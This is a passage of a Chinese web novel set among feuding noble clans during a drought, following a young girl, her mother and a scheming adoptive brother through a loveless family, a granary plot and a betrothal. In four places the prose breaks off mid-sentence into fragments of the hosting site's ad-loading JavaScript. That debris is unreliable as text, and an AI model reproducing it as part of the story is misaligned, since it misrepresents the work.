小灵筠紧紧抱住糖罐子,朝崔循很没骨气地屈膝行礼。 “多谢……哥哥……” 周娥媖略微皱眉,很快又将面上的不悦掩饰过去。 “一罐糖就将你这没出息的小娘子收买了,母亲年年都命人送一罐这样的糖给你做生辰贺礼,便有这么爱吃吗?” “女公子与家中大娘子的生辰只差了三日,女公子年年都不得不迁就家中大娘子提前庆生,敏怀公子素来偏爱大娘子,殿下命人送给大娘子的八宝琉璃糖应是被敏怀公子拿去做人情了,怪不得我们女公子要馋这糖了。”阿橘怕小灵筠的小脑袋瓜子想不到这些,主动开口提醒周娥媖。 “看来我的敏怀倒成了她贾心慈的亲子了。”周娥媖记下了这笔账日后再与贾氏母女清算,盯着吃糖的小灵筠,“母亲亏欠你太多了,瞒瞒。” 崔循勾起唇角,送八宝琉璃糖只是钩子,好戏还在后面。 只听得小灵筠朝崔循身后唤了一声“爹爹”,众人的目光纷纷转向匆匆赶来的谢琰及他身后的贾心慈、谢敏怀等人。 谢琰人还未近前来,先指着周娥媖的鼻尖骂道:“你这贼妇人,想将我的女儿偷到哪里去?” 不等周娥媖启唇,崔循转身面向谢琰,皮笑肉不笑道:“谢大人慎言,我清河崔氏的宗妇不容旁人羞辱。” 谢琰愣住了,他位列九卿,乃掌管皇城禁卫的郎中令,而崔循虽是晚辈,却是三公之首,且清河崔氏又是衣冠十姓之首,他不敬皇室可以,得罪崔氏家主却会被其他华族鄙夷。 小灵筠第一次见自家爹爹以谦卑的姿态与人交谈,羡慕起崔循的好命来,兰姑阿橘老说她出身高贵,比这崔循却差了不少。 少年也才十五岁,却生得高大,有金堆玉砌的贵气,也有煊赫一时的威势,说话的声音不大,字字句句引经据典、在情在理,谢琰听得满头大汗、不停拿自己的宽袖揩拭,倒没了周娥媖发挥的余地。 “罢了罢了,崔相都将话说到这般田地,我看在清河崔氏的面子上,不与你这妇人计较,你好好教养瞒瞒尽为母的本分。”谢琰与周娥媖有三步之距,他也不敢上前,怕像从前还是夫妻时遭周娥媖的“毒打”。 周娥媖对谢琰不屑一顾,知他是一个外强中干的怂包,目光落到谢琰身后的贾心慈时,心火烧得旺烈。 “你不与我计较,我却是要与你的妾侍计较,我好好的一个女儿被贾氏这贱妇欺负了三年,便是闹到帝后面前,我也是敢的。” 若不是贾心慈出身卑贱,谢琰当年肯定是娶贾心慈为结发妻子的,好不容易盼到了周娥媖休弃他,他又不能许贾心慈正妻之位,对心上人的愧疚越来越深。 他将贾心慈护在自己身后,“贾氏对敏怀、瞒瞒无一日不用心照顾的,瞒瞒尚小,不懂贾氏待她的慈母之心,敏怀明理了,他对贾氏的评价最为公正,让敏怀来说。” 谢敏怀听父亲点到自己,上前一步答道:“母亲,贾夫人却如父亲所言,待我与瞒瞒很好。” “是啊,贾夫人老怕我积食,一年三百六十五日,我有三百六十日是饿着的。后来长姐也学我节食,我才懂贾夫人是为了我好,因为小娘子们都追求那个什么杨柳腰的。”小灵筠说完,谢琰的脸色已经不好看了。 沉默看戏的崔循寒声道:“谢大人,你这稚女确实年纪小不明事理,别人刻薄她,她还以为是人家待她好呢。” 小灵筠一头蓬乱的黄毛,又是三寸丁的身高,小脸蜡黄 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。有周娥媖故意给她喂侏儒丹的影响,也有贾心慈不让她吃饱饭的影响。 小灵筠还想开口,却遭谢敏怀狠狠瞪了一眼。 谢敏怀想为贾氏母女留一些脸面,“瞒瞒,你自己贪玩不好好吃饭,倒怪到贾夫人身上来了。豪门大族,还亏了子孙这一口吃的,传出去我江陵谢氏岂不遭天下人耻笑?” 小灵筠摇了摇周娥媖的衣袖,低声道:“母亲,哥哥他胡说。就像每回长姐做错了事,哥哥都要将长姐犯的错推到我头上一样。” “敏怀,母亲对你太失望了。”周娥媖看向谢敏怀的目光如刀,“谢琰,你若再要维护贾氏这贱妇,我不惧与你撕破脸皮来。谢氏有龙骧卫三十万,我亦有鸣鸾卫三十万,就算拼个你死我活的局面,我也要为我的宝贝女儿出一口恶气。” “家事本不应与国事混为一谈,但百善孝为先,母亲要为瞒瞒讨个公道,我这做兄长的不能袖手旁观,白袍军随意听母亲差遣。”崔循似笑非笑地望向两股颤颤的谢琰。 谢琰叹了一口气,转身干脆利落地甩了贾心慈一记耳光,心有不忍地骂道:“你这愚妇!” 谢敏怀连忙护在贾心慈身前,为贾心慈挡住了第二记耳光。 “父亲息怒,儿亦多有不是。贾夫人主持中馈,多有力所不能及之时,一时疏忽了瞒瞒的饮食也情有可原。儿愿替贾夫人受罚。” 他答应了谢神爱要护她母亲周全,最看不得这位同父异母的柔弱妹妹伤心落泪。 周娥媖觉得儿子已经无可救药了,当年因怀上这个孽障,不得不嫁于满心满眼只有贾心慈的谢琰,与皇位失之交臂。她承认自己从儿子一出生便讨厌仇恨他,待女儿出生后,她发觉女儿的眉眼完完全全像自己,并不把女儿当作谢氏的骨血看待。女儿归自己,儿子归谢琰,她分得清清楚楚。 故在谢敏怀的记忆中,母亲眼里只有妹妹没有自己,还是贾心慈入府后才让他感受到从未有过的母爱,他讨厌自己的妹妹而亲近贾氏母女也是为此,他自认没有错,又不能怪责母亲,那错的便只能是妹妹。 贾心慈搂住谢敏怀,演着母子情深的戏码故意恶心周娥媖。 “长公主殿下才是公子的母亲,公子不该让长公主殿下难堪,去向长公主殿下道歉,千错万错都是妾的错,妾不忍见公子与长公主殿下生分了。” 小灵筠跑过去拉谢敏怀的衣角,“哥哥,你同我一起陪着母亲住在清河,可好?” 小人儿想,近朱者赤,近墨者黑,哥哥离了贾氏母女就会回心转意。 谢敏怀气急攻心,转身便要朝小灵筠心口踢上一脚,还是崔循揪起了小灵筠的衣领才避免这小人儿被踢得吐血。 周娥媖实在看不过眼,冲上去打了谢敏怀一巴掌。 “我没有你这等是非黑白不分的蠢儿子!” 这一巴掌教贾心慈得意偷笑,因为这一巴掌彻底断绝了谢敏怀与周娥媖的母子情意。 5. 第 5 章 “我也没有你这等不守妇德的母亲!”面颊红肿的谢敏怀大喊。 算是喊出了积压在谢琰心中多年的对周娥媖的不满,所以谢琰没有出声斥责儿子。 贾心慈极力压抑欲要扬起的唇角,将谢敏怀护在自己怀中,眼泪说流就流,装作痛心疾首的模样。 “公子可说不得此等忤逆之言,长公主殿下毕竟生下了公子,公子不可戳长公主殿下的心肺啊。”又哀哀戚戚望向周娥媖,“您怨恨妾,妾任凭您处置。敏怀是个好孩子,请您不要打骂她。” 周娥媖一直不屑于后宅妇人间的争斗,根本不将贾心慈这样的货色放在眼里过,长公主的威仪不能损,出口就是命武婢重杖贾心慈。 小灵筠瞥见崔循轻轻摇首,跑到他身边拉拉他的衣袖,小声问他:“你不赞同母亲的做法吗?” 崔循将唇附在小灵筠耳畔回应。 “母亲已落进了贾氏的圈套之中,贾氏受杖刑越重,你父兄越心疼贾氏而怨恨我们的母亲。母亲只是短暂出了一口恶气,贾氏却得了长久的好处。尤其是你哥哥,今日之后,怕要将贾氏当作自己的亲生母亲了。” 小灵筠觉得崔循说得很有道理。 “人人都说崔相有八斗之才,解今日贾氏所设之局,应当一点都难不倒你。” “你这丑孩儿,想给我戴高帽子,我不吃你这一套。”崔循拂袖与小灵筠划清界限,“我为何要帮你?” “我能一字不落默出失传已久的《广陵散》的琴谱。”小灵筠扬起小脸。 “你将来若默不出,我命人砍掉你一对无用的爪子。”崔循快步向谢琰走去。 小灵筠看见崔循从袖中掏出了一卷竹简递于她父亲,她父亲展阅过竹简后看向贾心慈的眼神充斥怒火,竟破天荒地向她母亲作揖认错。 崔循踱步回小灵筠身旁,“贾氏回到谢家,会被你父亲沉塘。我帮了你这么大的忙,一本《广陵散》的琴谱远远不够,我要你带我进文心阁的万卷楼。” “真是个贪得无厌的家伙。”小灵筠撇撇嘴,摸了摸自己腰间的麒麟令,“下月初五我去兰陵赴宴,你想进万卷楼,那时候可有时间?” “嗯。”崔循觉得眼前这小人儿丑陋的样貌有点儿顺眼了。 * 周娥媖一行抵达清河这日是景元十三年四月十八日。 烈日曝晒下的田地生出一条条宽阔的裂缝,这时候就显出可以灌溉农作物的河水的重要性。 清河的城池建在嘉禾江上游,崔氏庄园绵延数十里,将嘉禾江的源头囊括在内。 周娥媖的食邑主要在毗邻清河的凤城、凰洲二地,农户耕耘的田地都要取嘉禾江的水灌溉。 大靖境内有一千五百多条河流,属嘉禾江的水最清澈,且水量居大靖第一。 大靖各地受大旱影响,河流大多枯竭,唯嘉禾江的水源源不断。 琅琊章氏、江陵谢氏、晋阳沈氏、兰陵萧氏、韶州乔氏、广陵白氏、永安阮氏、盛京姜氏、云中慕氏纷纷派出子弟至清河向崔氏借水。 他们不敢直接去求见崔循,皆先至神武长公主府拜谒周娥媖探查口风。 神武长公主府虽不如崔氏庄园广阔,但占地也有五十亩之多,其中移植的奇花异草数不胜数,小灵筠近来受她外曾祖父萧老先生所托将府中花草树木绘图记录、编纂成册,作书《群芳嘉木集》。 忙于修书的小灵筠起得比鸡早,睡得比狗晚,终日像牛马一样劳劳碌碌。 周娥媖停了小灵筠平日吃的侏儒丹,加上小灵筠日日要外出爬树溯溪,小人儿原本三寸丁的身高开始抽条,蜡黄的小脸变得白里透红,蓬乱的黄发日渐柔顺乌亮…… 府中客来客往,时下虽不讲究什么男女大防,但周娥媖住的昭明堂一波又一波的外客进进出出,她也分不出精力来接受女儿的晨昏定省,故免了小灵筠来昭明堂问安。 这一日,小灵筠正在府中北角的海棠园描画各色海棠。 朱漆鸾凤纹画案设在百年古榕树下,小人儿凝思,执笔蘸墨,笔锋悬在名贵的凝光纸上。 “过去是我小瞧了你,这几张画有点意思。” 是令小灵筠不悦至极的男音。 她起身整理裙摆,向崔循屈膝行礼,姿态文雅婀娜。 初见那个一头蓬乱黄毛、样貌甚为丑陋,喜欢把鼻涕眼泪往他的衣袖上涂,口齿不清地换他“哥哥”“哥哥”的丑孩儿全然不见。 取而代之的是一个粉雕玉琢的奶团子。 “哥哥。”奶团子声如百灵鸟。 “嗯。”崔循含糊地应了一声,目光已刻意落到她肩膀上。 小灵筠从袖中取出她默的《广陵散》的琴谱,“给你。” 崔循接过粗粗翻了几页,冷峻的脸上却有了难得温温的笑意。 “你会默琴谱,那也定会抚琴了。” 小灵筠坐回到画案后,“我年纪尚小,指力不足,不是学琴的好年岁。”忽就有了灵感,执起笔行云流水勾勒线条,沉醉于作画之中。 约莫过了一个时辰,小灵筠完成了草稿,伸个懒腰,察觉到身后有人,回眸间又是她讨厌的少年。 “哥哥有何指教?” 崔循见到小人儿眉目间的桀骜不驯,失了数息的神思。 “只是不想去母亲那里拒客于千里之外,观你作画,心能静下来。” “母亲说,大旱之后会闹饥荒,清河乃天下粮仓,崔氏可得一笔横财。”小灵筠没有再说下去,华族们争相囤粮,近来清河街市的粮价就涨了三成不止。 “瞒瞒,想随为兄出去散散心吗?带你去看嘉禾江的源头。”崔循道。 小灵筠颌首,正要收拾画具,崔循动手帮她,她见到他宽袖被风卷起时露出的血痂,以为是自己眼花。 这才发觉崔循的面色苍白如纸,他的唇色亦是惨白的。 小灵筠跟随崔循上车后,嗅到车厢内馥郁的兰草香气下浮动一丝苦涩的药味,压下了心中可笑的念头。 谁能伤他啊?! * 嘉禾江水奔流不息、千载不竭,源头处却是一条水流孱弱的小溪,这里竖了一块刻有“嘉禾江源”四字的石碑,林木茂盛,偶有飞鸟从头顶掠过。 “可真是个画雀鸟的好去处。”小灵筠喜爱读书作画,但她母亲不想她过早展露自身的才气,人前她总装作大字不识几个的文盲。 崔循捧了一掬清澈的江水饮过,“我想炸毁清河的十二个截水坝,解天下大旱。你说的,我崔氏家训‘致贵’,是登临高位竭天 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 下之力以供养万民之意。” “谁挡了哥哥的路?” “族老们不允,没收了我在清河囤积的所有炸药。” 小灵筠脑海中浮现一张英气明艳的脸,“炸药好办,阿梵姐姐那里有,我可以代你去晋阳向阿梵姐姐借两千捆炸药,够不够?” “此事若做成,母亲不一定保得住你的命。”崔循想从小灵筠明亮的眼眸中看出一丝恐惧。 “身殉大道,死得其所。”这是小灵筠从书中学到的道理。 她以自己的麒麟令向晋阳沈氏的大小姐沈梵换来两千捆炸药。 炸药运进清河的三日后,十二个截水坝没有被炸毁,反而是华族们的粮仓一个接一个被炸毁。 小灵筠反应过来,崔循骗了她,他和崔氏族老们是一条心的,他们都想借饥荒发一笔横财,可耻! “啪——” “啪——” “啪——” 小灵筠跪在昭明堂院中,一下又一下戒尺重重落在她的掌心上。 “你外曾祖父的麒麟令就是这样给你糟践的,幸亏是落在沈梵手上,那孩子品性纯良、正直无私,麒麟令由她用来招揽天下一等一的谋士甚好,她定干不出崔循这竖子坑害百姓的混账事来。”周娥媖生气女儿为崔循所利用,可大错已铸成,她得想办法应对崔氏高价卖粮借此囤田的龌龊手段。 “女公子的小手都出血了,殿下,您就饶过女公子吧。”兰姑心疼小灵筠,跪在她身旁向周娥媖求情。 周娥媖不依不饶继续重重打女儿的手心,“这点痛算什么,将来饿死数万百姓,因果报应都要算在这孽障头上。” 小灵筠没有求饶,甘愿领罚。 “母亲,女儿当如何赎罪?” 周娥媖冷哼一声,闭目平心静气过后,方道:“韶州乔氏的粮仓完好无损,乔氏族老们有先见之明,早早派出门客去列国买粮。我们要让大靖市面上的粮价降下来,那乔氏所存的数百万石粮食就是关键。乔氏几次三番遣宗妇来府上,欲为他家执玉公子求娶我独生女儿,我已应下了。” 小灵筠并未见过乔执玉,听周澈说,乔执玉不良于行,但乔氏又想他们这位双腿残疾的少家主娶一位出身高贵的妻子。 小灵筠没有反对周娥媖对她婚事的安排。 兰姑道:“那女公子与太子殿下定的娃娃亲怎么办?一家女怎能许两家?” “帝后想给太子定下谢家女为储妃,谢家女又不止瞒瞒一个。”周娥媖其实谁都不属意,不是逼得没有法子,才不会将女儿轻易许给韶州乔氏。 可恨那崔循,平日里恭恭敬敬尊呼她为“母亲”,却在此摆了她一道,将他千刀万剐了都不足以泄心头恨。 小灵筠的手心被打得血肉模糊,跪久了起身,双腿酸软无力。 兰姑、阿橘想要搀扶她,却遭周娥媖呵斥。 “你们不要动她,让她自己走回悬刃堂。” 小灵筠向周娥媖告辞,忍着一身疼痛回到悬刃堂。 她坐在寝室前厅的胡床上,兰姑为她清洗伤口,阿橘给她涂抹药膏。 却听得看守院门的武婢高声道:“循公子至。” “这个黑了心肝的崔相,又想来害女公子了。”兰姑不满地望向门口。 6. 第 6 章 小灵筠朝阿橘使眼色,阿橘拉扯着怒视崔循的兰姑出去了。 前厅针若可闻。 小灵筠将手边一柄玉如意砸向崔循的额头。 可以闪避开的崔循没有躲开,额头凸起一个红肿的大包。 小灵筠冷冷道:“骗人是你的意趣?” “你随便向我砸东西,先消了气再说。”崔循回避小灵筠凶狠盯他的眼神。 小灵筠自是不客气,凡是她趁手拿得动的,小到白玉匣子里的折扇、琉璃果盘里的佛手瓜、博古架上一干翡翠玛瑙珊瑚摆件,大到白瓷双耳扁瓶、青釉莲花香炉、百宝嵌戏凤插屏等,统统往崔循身上砸。 不一会儿,小灵筠便砸累了,扶着小高几缓缓喘气。 崔循倒了茶递于她,“你且歇歇,恢复了力气再砸,不急的。” 小灵筠察觉出一丝不对劲。 “你害我与乔氏联姻,这口气我长久咽不下。你在这里向我做小伏低,是有求于我?” “为兄想求你去韶州救出一人,云中慕氏家主慕危止。”崔循用食指腹蹭了蹭自己的鼻尖,“我不图谋乔氏囤积的粮食,只要你救出慕危止,我就有办法退了你与乔执玉的婚约。” 小灵筠在他这里刚吃过一个大亏,不肯轻易相信他。 “云中慕氏拥南府兵百万,在衣冠十姓中地位在韶州乔氏之上,好端端的慕氏家主,怎会落到要我一个小娘子打救的地步?” 便真如崔循所言,慕危止需要她也只能她来打救,她也不会帮这个忙。 “此事说来话长——”崔循正要与小灵筠好好掰扯前因后果。 被小灵筠直接打断,“阿橘!送客!”转身便踏入里间。 女儿家的闺房,就算崔循是她亲兄长,也不好追进去。 阿橘送崔循至院门口,见少年俊美白皙的脸上一片斑驳的青紫,觉得好笑又不敢笑,忍了笑意直到崔循远去,才“噗嗤”笑出声来。 “阿橘,这几日派人好好守住院门,我不想再见到他。”小灵筠站在廊檐下,有几分明丽的小脸上仍有不甘心的愤愤不平,转而又道:“你们也不一定拦得住他,我去阿梵姐姐那里避一下吧。” 住在清河有一个天大的好处,她不用受谢氏族老们管制,崔氏族老们又无权管她这个谢氏女,她想远游,只需向她母亲禀说,她母亲一般不会驳她的。 * 沈氏庄园依傍青庐山而建,主支共有四房人,因未分家,就分了东南西北四园。 小灵筠是沈氏长房大小姐沈梵的贵客,护送她的车队直接从正门驶入,在宽阔可行驶六车的直道上奔驰了小半个时辰,至二门,小灵筠下车换乘软轿直入长房居住的北园。 沈梵携其幼妹沈韶侯在北园门口。 按理来说,小灵筠与沈韶同岁,该是这两个小女孩结交的才是。 沈梵已至及笄之年,酷爱舞刀弄枪,华族小姐们中少有习武的。小灵筠被周娥媖放到军营历练,在自家的鸣鸾卫与沈氏的飞霜军大比武时与沈梵一见如故,二人虽相差五岁,却能一同研习兵法、精进武艺。 沈梵的父母也乐得见长女添了一位亲密无间的挚友。 不过住了两三日,小灵筠与沈韶混得也熟了,二人老在大人面前踮脚尖比身高。也是沈梵看自家妹妹总是挑食,便出了主意,每每吃饭时便刻意夸小灵筠吃得又多又快。小女孩儿这个年纪爱攀比,有小灵筠在,沈韶的挑食毛病也改正了不少。沈父沈母看小灵筠便如自家第三个女儿一般。 这日,小灵筠与沈韶去花园的湖心亭垂钓,二人各坐在一个小马扎上,将鱼钩甩进澄碧的湖水之中。 七八个穿金戴银的华衣女孩儿往她们这边走,为首的三个女孩儿分别是沈家二房、三房、四房的小姐,跟在后面的则是沈氏旁支的女孩儿,其中有一个容貌最出挑、衣饰最华贵的女孩儿更是被其他女孩儿众星拱月环绕,小灵筠从沈韶口中得知她叫沈娇,是沈韶二叔父、二叔母的命根子。 “阿韶,听闻崔相、慕小将军到访北园,你带我们去瞧一瞧。”沈娇一副高傲姿态,对不理会她的沈韶是强硬命令的口吻。 小灵筠循声望去,说话的沈娇应是十一二岁的年纪、身上张牙舞爪的美丽,再看这些女孩儿打扮得一个赛一个娇艳,大抵明白了她们的心思。 崔循为她所厌,但有一副谪仙似的好皮囊,江南江北倾慕他的贵女数不胜数,沈家这些女孩儿自然是冲着崔循那厮来的。 “这位就是灵筠妹妹吧。”沈娇上前来与她套近乎,“瞧这神仙模样儿,不亏是崔相的妹妹。” 众女纷纷附和沈娇所言,将小灵筠夸得天上地下举世无双的,唯有沈韶对她们的虚伪奉承嗤之以鼻。 小灵筠是个水晶玻璃心肝儿的小人儿,对自己的容色有自知之明,她的小脸可不堪“神仙模样儿”的夸奖。 她耸了耸鼻子,一连打了几个喷嚏。 “姐姐们身上的脂粉香气太浓重了。” 沈韶见机,挤开了沈娇,挑眉道:“你们别熏坏了灵筠妹妹。阿娇姐姐,灵筠妹妹在北园住了有五日,你们早不来结交、晚不来结交,偏挑崔相与慕小将军来的时候结交,你们是觉得灵筠妹妹年纪小好糊弄吗?你们是与谢家大娘子谢神爱一伙的,过去你们怎么说灵筠妹妹的,说她貌若无盐、粗鄙蠢钝、举止无礼,白瞎了这么好的出身。你们根本就不是真心喜欢灵筠妹妹的,全都滚开。” 沈娇面子挂不住,欲要辩解。 小灵筠抢言道:“众位姐姐既然是我长姐的好友,我便为姐姐们带路,去北园见一见我兄长与慕小将军。” “那可再好不过了,有幸能见到崔相,能与他再说上几句话就更好了。”沈娇目光灼灼注视小灵筠。 “这有何难,我将阿娇姐姐引荐到兄长面前就是。”小灵筠假笑道。 沈韶不知小灵筠葫芦里卖的什么药,但与小灵筠几日相处下来,知道以她的性子是吃不了亏的。 小灵筠提议大家抄近路去北园,紧紧攥着袖中用来打水漂的扁平石块。 沈娇见小灵筠好说话,将她看成自己身后的这些小跟班,言语间已 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不如方才那般恭敬。 小灵筠对沈娇的得寸进尺依然言笑晏晏。 前方有一座月牙石桥,小灵筠借口丢了一只耳环,拉着沈韶与她留下来一起找。 而过了那座月牙石桥,再穿过一片竹林,便是北园的正厅了。 众女们迫不及待要窥探崔相、慕小将军的风采,哪里肯留下来慢慢等小灵筠、沈韶。 待沈娇携众女踏上那座月牙石桥,小灵筠用弹弓射出扁平石块向桥洞下的一个马蜂窝。 “咕咚”一声,马蜂窝落水,群蜂乱舞,众女们被马蜂们蛰咬的“嗷嗷”乱叫,你推我,我挤你,沈娇与两个女孩儿不慎掉下桥落入水中。 小灵筠用手肘碰了碰身旁幸灾乐祸看好戏的沈韶,“快喊啊!你堂姐落水,我们都是小娘子,救不起她们的。” 沈韶憋足了劲,扯着嗓子大叫。 “快来人啊!有人落水了!快来人啊!有人落水了!” 最先惊动的自然是北园正厅的沈父沈母及两位贵客。 未几,便有婢女跑来驱赶马蜂、捞起水里的沈娇和那两个女孩儿。 崔循、慕星野跟随沈父沈母后至。 崔循一身玄色浮金掠影鹤羽纹锦袍,凤表龙姿,薄唇微抿,见这些狼狈的女孩儿中没有小灵筠的身影,蹙起的长眉方舒展开来。 众女被蛰出一脸包,见到崔循后又是忍不住看又是自卑躲避。 尤其是沈娇,她为了见崔循,特意打扮了足足两个时辰,而今发髻散乱、衣裙腌臜,姣好的面容成了个猪头,怎能不伤心落泪。 慕星野先注意到月牙石桥这边的小灵筠,与崔循耳语,崔循望了过来。 小灵筠拉着沈韶向崔慕二人屈膝行礼。 慕星野道:“许久不见,谢二娘子长高了不少,小脸蛋越发秀美了。”目光落到小灵筠身旁的沈韶脸上,不禁脸上一红。 “你脸红什么?”崔循以为慕星野是因见到小灵筠才脸红的。 慕星野辩解道:“这么多女孩儿在场,我有点不自在而已。” “往常与你一同饮宴,怎不见你脸红?宴会上的女郎可比这些猪头好看。”崔循挑眉。 慕星野拍了拍崔循的肩膀,“你说话太刻薄了,这里全是年轻女孩儿,人家要面子的。” 已有几个女孩儿听到崔循的话心碎哭泣。 崔循径直向小灵筠走去。 小灵筠拉起沈韶的小手就要跑,沈韶却为崔循的“美色”所惑,走不动道了。 小灵筠甩开沈韶,自己提起裙摆就要跑开。 “瞒瞒,我已去替你退了与乔执玉的婚约。上次骗你,是为兄对不住你。”崔循道。 沈父、沈母面面相觑,仿若见了亘古未有的天下奇事一桩。 慕星野惊恐万分。 众女们对小灵筠羡慕不已。 “那个向小娘子低声下气认错的郎君,是崔相?”沈父还是不信,以为自己花了眼,或是听错了。 沈母笑道:“终于有个能拿捏住我们阿循的人了,好啊。” 7. 第 7 章 众目睽睽之下,小灵筠自然是……一点也不给崔循面子了。 他以为他自己是谁呀。 上次为他所骗,是她以为他改换良心懂得体恤生民了。 “我与乔执玉缔结婚约本就是被你所害,你替我退了与乔执玉的婚约,是改正你自己的错误。你同我道歉没有用,我已认清你是一个奸诈小人。”小灵筠愤愤说完,往客居的院子跑去。 沈韶听了沈母的吩咐,暂且割舍下看美男的心思,去追跑远了的小灵筠。 沈娇及众女则被沈母带去更衣上药。 崔循仍站在原处发愣。 慕星野走过去安慰他,“谢二娘子出了名的没有教养,这不是你的错。” 崔循摁了摁慕星野的肩膀。 慕星野感觉自己肩胛骨承受了不可承受之重,快要被崔循摁碎了。 “是谢二娘子惹你不悦,你冲我发什么脾气?” “你方才说谁没有教养?”崔循加重了腕力。 慕星野反应过来,求饶道:“我没有教养、我没有教养总行了吧,谢二娘子才喊了你几声‘哥哥’,你倒护起短来了。” 电光火石之间,“咔嚓”一声,慕星野的下巴脱臼了,罪魁祸首是摸了一下他下巴的崔循。 都说男儿有泪不轻弹,可真是太痛了,痛不欲生啊。 慕星野的眼泪珠子大颗大颗往下掉,偏他又不敢说话,一说话脱臼的下巴更痛了。 “不是为了你哥的话,我还能多听她喊几声‘哥哥’。”崔循用力一拍慕星野的下巴。 “咔嚓”一声,慕星野的下巴复原如初,顿时不痛了。 “我有一计,可以让谢二娘子乖乖随你回清河去。” “三句话之内说不到点子上,我再让你痛一遍。”崔循不耐烦道。 “找人绑走谢二娘子,等刀快要砍到谢二娘子的脖子上时,你出面救下她,她这辈子都要乖乖听你这救命恩人的话。”慕星野得意洋洋说道。 “馊主意。”崔循回身朝北园前厅去。 慕星野跟上他的步伐,“这主意用在我哥和沈大娘子身上就不是馊主意了?用在谢二娘子和你身上就是馊主意了?” “不一样的,瞒瞒的脑子和沈梵的脑子能相提并论吗?”崔循道。 “也是,沈梵就是个不折不扣的兵痞子,你这便宜妹妹可是个女诸葛。”慕星野在军队和军队的大比武时见识到小灵筠摆设阵法的厉害,这小姑娘鬼精鬼精的,一些小把戏根本蒙不住她。 慕星野绞尽脑汁,想一条计谋,被崔循否一条计谋。 而另一边,小灵筠与沈韶出门去雨花阁取已交付定金的名剑“般若”。 般若剑为长剑,剑身纹络为般若花,故得此名。 小灵筠打开剑匣确认无误后,付完剩下的买剑钱,自己背起那剑匣与沈韶去逛街市。 二人结伴出游,一向不喜带护卫仆从。 她们一路说说笑笑,撒欢也能放得开些。 糖葫芦摊前,沈韶选了一串山楂又红又大的糖葫芦,小灵筠尚在认真挑选中,忽觉背后的剑匣受到一股拉扯之力,有贼人骑马飞身抢夺她所负的剑匣。 双腿怎么敌得了四蹄,两个女孩子看着那骑马的贼人飞驰远去,追了一段路的她们已气喘吁吁。 沈韶双手叉腰重重喘息道:“还有这等不知死活的人,在晋阳城里抢我小姐妹的东西。瞒瞒,我们回去,我要让我家的飞霜军把晋阳城翻个底朝天抓那小贼。不剁了那小贼的狗爪子,我不姓沈。” 小灵筠正要答应沈韶,却见那贼人又朝她们这个方向飞驰而来。 那贼人在她们前方几步勒紧了马缰,翻身下鞍滑跪到小灵筠身前,将剑匣举过头顶道:“小人不开眼,抢了小娘子的东西,这就物归原主,望小娘子开恩啊。” 小灵筠与沈韶交换了疑惑的眼神,下一息,便看到崔循、慕星野和十几名护卫的身影,显然是他们将贼人逼退回来的。 小灵筠看清了贼人的身形样貌。十三四岁的少年,衣衫褴褛,瘦骨嶙峋,有着瘦削且脏污的一张脸,唯见一对眸子煜煜发亮。 “有手有脚的,怎么做起贼来?”小灵筠接过剑匣负在自己背上,随口嘀咕了一句。 少年接话道:“我家是桃源村的,上个月通天寨的马匪屠了我们全村,年轻的姑娘就被抓回通天寨当那些马匪的妻妾,像我一样的男孩则做了马匪的奴隶。我是好不容易给马匪放马时逃出来的,抢小娘子的东西,也是为换口吃的。” 说完,跪在地上的少年连连向小灵筠、沈韶磕头求饶。 “你肚子饿,杀了你这匹马不就有肉吃了。”沈韶撇嘴道。 “这匹马是我自己家里从小马驹养到这么大的,我就是饿死,也不会杀了它来吃肉。”少年回头看了一眼自己的马,那马也通人性,两只前蹄弯下跪在地上发出哀鸣声。 小灵筠动了恻隐之心。 过来的慕星野一脚将少年踹翻在地,少年的鼻口喷出鲜血。 “好小子,是你的东西吗?就敢随便抢夺。” “算了,放过他吧,他也是个可怜人。”小灵筠见那少年蜷缩在地上瑟瑟发抖,让护卫带他去治伤吃饭。 “谢二娘子,你对一个抢你剑匣的陌生人都如此宽容——” 慕星野一张口,小灵筠就知道他想说什么。 小灵筠看了一眼崔循,“看在你们今日帮了我的分上,我与我兄长和解。” 崔循眸光清湛,“今日随为兄启程回清河,母亲想念得你紧,瞒瞒。” 小灵筠摇首,“母亲是怕我在外懒怠学业,特意要你捉我回去的,你不必遮掩母亲的心思。” 知母莫若女。 小灵筠知道她母亲将自己少时未完成的心愿寄托到她身上,所以她每日要负担很重的课业,住在沈氏庄园这段时间,她没有偷过一日的懒,原来在清河怎么样,在晋阳就怎么样。 慕星野别有深意地望向崔循,他与崔循站得最近,用彼此能听到的声量说着悄悄话。 “你故意拖延几日到晋阳来,原来是为了让谢二娘子能松口气、畅快玩几日,啧啧啧,真是个好兄长的模样啊。” 崔循抬肘碰了一下慕星野。 慕星野整个人弹射到一侧摔在地上,压在 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 身下的右臂骨折了。 他痛得满地打滚,刚要囔出声,被崔循胡乱塞了一团帕子到嘴里。 沈韶看慕星野那活宝模样儿,忍不住笑意。 慕星野瞥见沈韶笑他,脸红起来。 * 次日,小灵筠向沈父、沈母辞行,沈韶来送别她,却不见沈梵的身影,说来有好几日未见到沈梵了。 小灵筠问起沈梵。 沈母眉笑颜开答道:“你阿梵姐姐带了五万飞霜军去韶州打救她未来郎婿,应在回程路上,但来不及见你。等下个月十五你来你阿梵姐姐的定婚宴上,她可要好好答谢你。” 小灵筠听得一头雾水。 沈母解释道:“你阿梵姐姐与云中慕氏家主慕危止早就两情相悦,只差那么一点火候,两人就能捅破这层朦胧的窗户纸。你那日一来找你阿梵姐姐收留,说了你阿循哥哥害你与乔执玉缔结婚约的初衷,你阿梵姐姐就坐不住了。她怎么忍心要你舍弃自己的终身幸福去救她的心上人呢,她看清了自己的心,你又不必再与乔执玉缔结婚约,真是两全其美啊。” 小灵筠恍然大悟,崔循一开始就没有想用她去救慕危止,他就是想让她躲避到沈氏庄园来,借她的口让沈梵知道慕危止的困境。 这也许只是一场戏,崔循要骗的人不是她,是看不清自己心的沈梵。 毕竟以崔循与慕星野的相交程度,他应当与慕氏兄弟是一伙的。 出门坐上马车后,小灵筠对车上的崔循黑着一张脸。 “谢二娘子,你怎么翻脸比翻书还快?”慕星野看小灵筠对他也没有好脸色。 小灵筠白了慕星野、崔循各一眼。 